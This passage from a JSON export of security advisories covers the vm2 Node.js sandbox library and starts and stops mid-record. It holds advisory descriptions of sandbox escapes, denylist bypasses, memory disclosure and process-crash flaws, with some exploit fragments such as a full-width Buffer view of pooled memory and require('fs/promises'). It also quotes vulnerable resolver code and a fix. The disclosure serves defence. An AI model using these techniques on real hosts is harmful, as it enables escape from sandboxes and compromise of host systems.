routing, a proxy, or a later request destination;\n- modify trusted responses, including configuration, webhook, update, identity, and package-retrieval traffic;\n- remove the normal trusted roots and cause unrelated host TLS connections to fail.\n\nThe attacker does not obtain a direct file or command-execution primitive from this PoC. The critical impact is control of the host process's authentication trust decision, outside the sandbox's authority. Connections that explicitly provide their own CA list are not affected, and already cached TLS sessions may remain unchanged.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-01T15:27:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-98xx-8mx4-x7cm","https://nvd.nist.gov/vuln/detail/CVE-2026-92941","https://github.com/patriksimek/vm2/commit/aa146a77f859325e079f3bfbfe6d8309af483daa","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-3.11.3-before-3.11.7-tls-trust-store-manipulation","https://github.com/advisories/GHSA-98xx-8mx4-x7cm"],"source_kind":"github","identifiers":["GHSA-98xx-8mx4-x7cm","CVE-2026-92941"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.500Z","updated_at":"2026-10-12T08:00:42.522Z","epss_percentage":0.00289,"epss_percentile":0.19517,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OHh4LThteDQteDdjbc4AB7Vg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05OHh4LThteDQteDdjbc4AB7Vg","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"\u003e= 3.11.3, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OHh4LThteDQteDdjbc4AB7Vg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03cTNmLXd4NDQtMzc4bc4AB7Vf","url":"https://github.com/advisories/GHSA-7q3f-wx44-378m","title":"vm2: External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted","description":"## Summary\n\n`isPathAllowedForModule` decides whether a resolved path belongs to an allowlisted external module using a raw string prefix test. `node_modules/foo2` starts with `node_modules/foo`, so a package whose name merely shares a prefix with an allowlisted one is treated as being inside it, and a relative require from the allowlisted package reaches it even with transitive loading disabled.\n\n## Where it is\n\n`lib/resolver-compat.js`, lines 122 to 132, quoted from HEAD `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`:\n\n```js\nisPathAllowedForModule(path, mod) {\n    if (!super.isPathAllowed(path)) return false;\n    if (mod) {\n        if (mod.allowTransitive) return true;\n        if (path.startsWith(mod.path)) {\n            const rem = path.slice(mod.path.length);\n            if (!/(?:^|[\\\\/])node_modules(?:$|[\\\\/])/.test(rem)) return true;\n        }\n    }\n    return this.externals.some(regex =\u003e regex.test(path));\n}\n```\n\nWith `mod.path` of `.../node_modules/foo` and a resolved path of `.../node_modules/foo2/index.js`, `startsWith` is true and `rem` is `2/index.js`, which contains no `node_modules` segment, so the function returns true.\n\nThe `node_modules` test in `rem` is what stops a genuine transitive dependency from slipping through. It does not stop a sibling, because a sibling's remainder never contains that segment.\n\n## Impact\n\nCode running in `NodeVM` under an external module allowlist with `transitive: false` can reach a package that was not allowlisted, provided an allowlisted package performs a relative require to a prefix-sharing sibling.\n\nTwo preconditions are worth stating plainly rather than leaving implicit. The deployment must already have such a package layout, and an allowlisted package must have a reachable code path that does the relative require. This is not something the attacker creates; it is something they find. That narrows it considerably, and it is why I have not scored it higher.\n\n## Reachability\n\n`NodeVM.run` at `lib/nodevm.js:506` executes the script. `require` comes from `createRequireForModule` at `lib/setup-node-sandbox.js:168-172` and reaches the resolver callback at `lib/nodevm.js:380-384`. `LegacyResolver.resolveFull` at `lib/resolver-compat.js:145-160` sets `currMod` for direct requires, the relative specifier resolves through `DefaultResolver.resolveFull` and `tryFile` at `lib/resolver.js:327-330`, and the authorization decision lands on the function above.\n\n## Suggested fix\n\nRequire a separator after the prefix, so a sibling cannot match:\n\n```js\nif (path === mod.path || path.startsWith(mod.path + path.sep)) {\n```\n\nThat is the same anchoring the `rem` regex already applies to `node_modules`, applied one level earlier.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-01T15:26:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.2,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-7q3f-wx44-378m","https://nvd.nist.gov/vuln/detail/CVE-2026-92945","https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-before-3.11.7-module-allowlist-bypass-via-prefix-matching","https://github.com/advisories/GHSA-7q3f-wx44-378m"],"source_kind":"github","identifiers":["GHSA-7q3f-wx44-378m","CVE-2026-92945"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.500Z","updated_at":"2026-10-12T08:00:42.523Z","epss_percentage":0.00277,"epss_percentile":0.18509,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cTNmLXd4NDQtMzc4bc4AB7Vf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03cTNmLXd4NDQtMzc4bc4AB7Vf","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"\u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cTNmLXd4NDQtMzc4bc4AB7Vf/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03cnIyLThmcjMtZmpxeM4AB60i","url":"https://github.com/advisories/GHSA-7rr2-8fr3-fjqx","title":"Duplicate Advisory: vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-2v2p-6j97-cjg9. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.12.2 does not apply host-side Promise rejection handling in the sandbox-to-host construct trap. In BaseHandler, the apply trap calls markHostPromiseHandled() on the returned value, but the adjacent construct path returns the result of Reflect.construct without the same sanitization. If an embedder exposes a constructable host function whose constructor returns a native rejected Promise, an untrusted script executed via VM.run can invoke it with `new` and ignore the result; the rejected host Promise crosses the bridge unhandled and, under Node's strict unhandled-rejection policy, is promoted to an uncaught exception that terminates the host process.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-27T03:31:03.000Z","withdrawn_at":"2026-10-05T23:19:29.000Z","classification":"GENERAL","cvss_score":8.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-2v2p-6j97-cjg9","https://nvd.nist.gov/vuln/detail/CVE-2026-100722","https://www.vulncheck.com/advisories/vm2-before-3.12.2-host-process-termination-via-construct-trap","https://github.com/advisories/GHSA-7rr2-8fr3-fjqx"],"source_kind":"github","identifiers":["GHSA-7rr2-8fr3-fjqx"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-06T00:00:16.074Z","updated_at":"2026-10-12T08:00:36.314Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cnIyLThmcjMtZmpxeM4AB60i","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03cnIyLThmcjMtZmpxeM4AB60i","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.12.2","vulnerable_version_range":"\u003c 3.12.2"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cnIyLThmcjMtZmpxeM4AB60i/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00M3J2LWpyZmgtOW1ycs4AB603","url":"https://github.com/advisories/GHSA-43rv-jrfh-9mrr","title":"Duplicate Advisory: vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-489w-w794-jq94. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-27T03:31:03.000Z","withdrawn_at":"2026-10-05T22:59:44.000Z","classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-489w-w794-jq94","https://nvd.nist.gov/vuln/detail/CVE-2026-100723","https://github.com/patriksimek/vm2/commit/4f2508abeb252aa86eb6761c78b3b000248fb089","https://github.com/patriksimek/vm2/commit/5214b02ef13b82497fcb917b45320dfd014ffd09","https://www.vulncheck.com/advisories/vm2-before-3.12.2-memory-disclosure-via-zlib-buffer-pool","https://github.com/advisories/GHSA-43rv-jrfh-9mrr"],"source_kind":"github","identifiers":["GHSA-43rv-jrfh-9mrr"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.772Z","updated_at":"2026-10-12T08:00:36.315Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00M3J2LWpyZmgtOW1ycs4AB603","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00M3J2LWpyZmgtOW1ycs4AB603","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.12.2","vulnerable_version_range":"\u003c 3.12.2"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00M3J2LWpyZmgtOW1ycs4AB603/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jOXdyLXFtN3AtcDZ2Y84AB60r","url":"https://github.com/advisories/GHSA-c9wr-qm7p-p6vc","title":"Duplicate Advisory: vm2: NodeVM custom resolution bypasses external path boundaries","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-5h3f-q97h-ccvc. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.12.2 contains an authorization bypass in the NodeVM external-module resolver. When an embedder configures `require.external` with a custom resolver (and `context: 'host'`), `LegacyResolver.customResolve` in lib/resolver-compat.js records the resolved module directory in `this.externals` as `new RegExp('^' + escapeRegExp(resolvedPath))`, without requiring a path separator or end-of-string boundary. Untrusted guest code can therefore require the allowlisted module (e.g. `foo`) and then require the absolute path of a non-allowlisted sibling whose path merely shares the resolved prefix (e.g. `.../node_modules/foo2/index.js`); the sibling passes `isPathAllowedForModule` and is loaded through `hostRequire`, so its top-level code runs in the host process before the exports are wrapped with `vm.readonly`, resulting in a sandbox escape and arbitrary code execution in the host context.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-27T03:31:03.000Z","withdrawn_at":"2026-10-05T23:23:51.000Z","classification":"GENERAL","cvss_score":9.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-5h3f-q97h-ccvc","https://nvd.nist.gov/vuln/detail/CVE-2026-100721","https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72","https://github.com/patriksimek/vm2/commit/91034466bfb7f56b95fd48083ec6ca36d058f164","https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c","https://www.vulncheck.com/advisories/vm2-before-3.12.2-authorization-bypass-via-custom-resolver","https://github.com/advisories/GHSA-c9wr-qm7p-p6vc"],"source_kind":"github","identifiers":["GHSA-c9wr-qm7p-p6vc"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-06T00:00:16.074Z","updated_at":"2026-10-12T08:00:36.312Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jOXdyLXFtN3AtcDZ2Y84AB60r","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jOXdyLXFtN3AtcDZ2Y84AB60r","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.12.2","vulnerable_version_range":"\u003c 3.12.2"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jOXdyLXFtN3AtcDZ2Y84AB60r/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05aHh4LW01ZzItMnEzaM4AB6C5","url":"https://github.com/advisories/GHSA-9hxx-m5g2-2q3h","title":"Duplicate Advisory: vm2 contains a sandbox escape vulnerability","description":"# Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-pq68-rvw4-xp4r. This link is maintained to preserve external references.\n\n# Original Description\nvm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:['*'] or explicit child_process allowance.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-18T15:32:19.000Z","withdrawn_at":"2026-10-07T18:04:50.000Z","classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-pq68-rvw4-xp4r","https://nvd.nist.gov/vuln/detail/CVE-2026-93605","https://www.vulncheck.com/advisories/vm2-nodevm-before-3.12.1-remote-code-execution-via-child-process","https://github.com/advisories/GHSA-9hxx-m5g2-2q3h"],"source_kind":"github","identifiers":["GHSA-9hxx-m5g2-2q3h"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-07T19:00:09.960Z","updated_at":"2026-10-12T08:00:27.717Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05aHh4LW01ZzItMnEzaM4AB6C5","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05aHh4LW01ZzItMnEzaM4AB6C5","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.12.1","vulnerable_version_range":"\u003c 3.12.1"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05aHh4LW01ZzItMnEzaM4AB6C5/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tZ2oyLWpxanEtcThnZ84AB5Ni","url":"https://github.com/advisories/GHSA-mgj2-jqjq-q8gg","title":"Duplicate Advisory: vm2: Host-returned Promise rejection can bypass vm2's unhandled-rejection hardening and terminate the host process","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-gjq8-xm47-88rc. This link is maintained to preserve external references.\n\n## Original Description\nvm2 is a sandbox library for running untrusted JavaScript in Node.js. In versions \u003e= 3.10.0 and \u003c= 3.11.7, Promises returned from the host realm into the sandbox are not marked as handled at the bridge boundary; only Promises created inside the sandbox are wrapped with a rejection-swallowing handler (lib/setup-sandbox.js), and the bridge only installs host-side rejection sanitizers when sandbox code calls .then/.catch/.finally. As a result, code running in the sandbox can invoke a host function that returns a rejected Promise (for example events.once() exposed via the NodeVM events builtin, or any embedder-provided Promise-returning API) and simply ignore the return value, leaving the host Promise unhandled so that Node.js's default unhandled-rejection behavior terminates the host process. This is an incomplete fix of GHSA-hw58-p9xv-2mjh. The issue is fixed in version 3.11.8.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-17T15:32:16.000Z","withdrawn_at":"2026-10-05T22:45:31.000Z","classification":"GENERAL","cvss_score":9.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-gjq8-xm47-88rc","https://nvd.nist.gov/vuln/detail/CVE-2026-92954","https://www.vulncheck.com/advisories/vm2-3.10.0-through-3.11.5-denial-of-service-via-host-promise","https://github.com/advisories/GHSA-mgj2-jqjq-q8gg"],"source_kind":"github","identifiers":["GHSA-mgj2-jqjq-q8gg"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.773Z","updated_at":"2026-10-12T08:00:38.742Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tZ2oyLWpxanEtcThnZ84AB5Ni","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tZ2oyLWpxanEtcThnZ84AB5Ni","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.10.0, \u003c= 3.11.7"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tZ2oyLWpxanEtcThnZ84AB5Ni/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01MzhxLXh4cGctNmg0cs4AB5Ne","url":"https://github.com/advisories/GHSA-538q-xxpg-6h4r","title":"Duplicate Advisory: vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-wjwh-qqvp-g4p4. This link is maintained to preserve external references.\n\n## Original Description\nvm2 versions 3.10.1 through 3.11.6 contain a sandbox escape reachable from a default `new VM()` sandbox when running on Node.js 26. WebAssembly.compileStreaming and WebAssembly.instantiateStreaming can produce a raw host-realm Promise that rejects with a host-realm error object; by controlling Symbol.species via Promise.prototype.finally, sandbox code receives that raw host error, walks from the host error constructor to the host Function constructor, and recovers the real host `process` object, gaining host Node.js capabilities (e.g. access to host modules such as fs) in the context of the process running the sandbox. No NodeVM, require permission, host object injection, or otherwise unsafe configuration is required. This is a bypass of the fix for GHSA-6j2x-vhqr-qr7q, which removed the JSPI entry points WebAssembly.promising and WebAssembly.Suspending. The issue is fixed in 3.11.7.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-17T15:32:16.000Z","withdrawn_at":"2026-10-05T22:34:14.000Z","classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-wjwh-qqvp-g4p4","https://nvd.nist.gov/vuln/detail/CVE-2026-92956","https://www.vulncheck.com/advisories/vm2-3.10.1-through-3.11.6-sandbox-escape-via-webassembly-compilestreaming","https://github.com/advisories/GHSA-538q-xxpg-6h4r"],"source_kind":"github","identifiers":["GHSA-538q-xxpg-6h4r"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.778Z","updated_at":"2026-10-12T08:00:38.752Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01MzhxLXh4cGctNmg0cs4AB5Ne","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01MzhxLXh4cGctNmg0cs4AB5Ne","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.10.1, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01MzhxLXh4cGctNmg0cs4AB5Ne/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1obXByLWM5cmYtcWNyZs4AB5Ms","url":"https://github.com/advisories/GHSA-hmpr-c9rf-qcrf","title":"Duplicate Advisory: Incomplete nodejs.* symbol filtering lets sandbox override host WebStream state checks","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-jf8q-945g-9q4c. This link is maintained to preserve external references.\n\n## Original Description\nvm2 versions 3.11.4 through 3.11.6 incompletely filter Node.js registered internal symbols across the sandbox boundary. The extraction filters in lib/setup-sandbox.js and the cross-realm symbol checks and write traps in lib/bridge.js use a fixed list of known dangerous registered symbols that omits nodejs.stream.disturbed and nodejs.stream.errored, which are exposed on host WebStream prototypes on newer Node.js releases (validated on Node.js v25.8.0). When the embedder exposes a host WebStream object and the host stream/web module to the sandbox, sandbox code can obtain the real host symbols via Object.getOwnPropertySymbols(streamWeb.ReadableStream.prototype) and use them as write keys on host stream objects, corrupting host-visible stream state — for example making stream.Readable.isDisturbed() return false for an already-consumed stream. This can bypass host logic that relies on Node's public stream-state helpers to enforce one-shot body consumption, reject errored streams, or decide whether a stream is safe to hand to another component. It is not a host code-execution primitive in the reported proof of vulnerability. This is an incomplete fix for the earlier nodejs.* symbol filtering issue. Fixed in vm2 3.11.7.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-17T15:32:16.000Z","withdrawn_at":"2026-10-01T15:41:50.000Z","classification":"GENERAL","cvss_score":8.9,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-jf8q-945g-9q4c","https://nvd.nist.gov/vuln/detail/CVE-2026-92952","https://www.vulncheck.com/advisories/vm2-3.11.4-through-3.11.6-sandbox-symbol-filtering-bypass","https://github.com/advisories/GHSA-hmpr-c9rf-qcrf"],"source_kind":"github","identifiers":["GHSA-hmpr-c9rf-qcrf"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.507Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1obXByLWM5cmYtcWNyZs4AB5Ms","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1obXByLWM5cmYtcWNyZs4AB5Ms","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.11.4, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1obXByLWM5cmYtcWNyZs4AB5Ms/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03YzNwLTg0cjgtaDc5cc4AB5Mg","url":"https://github.com/advisories/GHSA-7c3p-84r8-h79q","title":"Duplicate Advisory: vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-6rh5-qq4q-97xh. This link is maintained to preserve external references.\n\n## Original Description\nvm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: ['*', '-fs', '-child_process'] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require('fs/promises') or require('node:fs/promises') and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require('fs/promises')). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-17T15:32:16.000Z","withdrawn_at":"2026-10-01T15:36:33.000Z","classification":"GENERAL","cvss_score":8.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-6rh5-qq4q-97xh","https://nvd.nist.gov/vuln/detail/CVE-2026-92958","https://www.vulncheck.com/advisories/vm2-before-3.11.7-denylist-bypass-via-fs-promises","https://github.com/advisories/GHSA-7c3p-84r8-h79q"],"source_kind":"github","identifiers":["GHSA-7c3p-84r8-h79q"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.513Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03YzNwLTg0cjgtaDc5cc4AB5Mg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03YzNwLTg0cjgtaDc5cc4AB5Mg","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03YzNwLTg0cjgtaDc5cc4AB5Mg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nZzZmLW1ocW0tZjdncM4AB5Mf","url":"https://github.com/advisories/GHSA-gg6f-mhqm-f7gp","title":"Duplicate Advisory: Sandbox Escape (NodeVM)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-88hf-g992-jg85. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter through console._stdout and console._stderr. Attackers can overwrite EventEmitter.prototype.emit and trigger process events to execute code with process context, bypassing code generation restrictions.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-17T15:32:16.000Z","withdrawn_at":"2026-10-05T22:46:58.000Z","classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-88hf-g992-jg85","https://nvd.nist.gov/vuln/detail/CVE-2026-92955","https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-via-nodevm","https://github.com/advisories/GHSA-gg6f-mhqm-f7gp"],"source_kind":"github","identifiers":["GHSA-gg6f-mhqm-f7gp"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.773Z","updated_at":"2026-10-12T08:00:38.740Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZzZmLW1ocW0tZjdncM4AB5Mf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR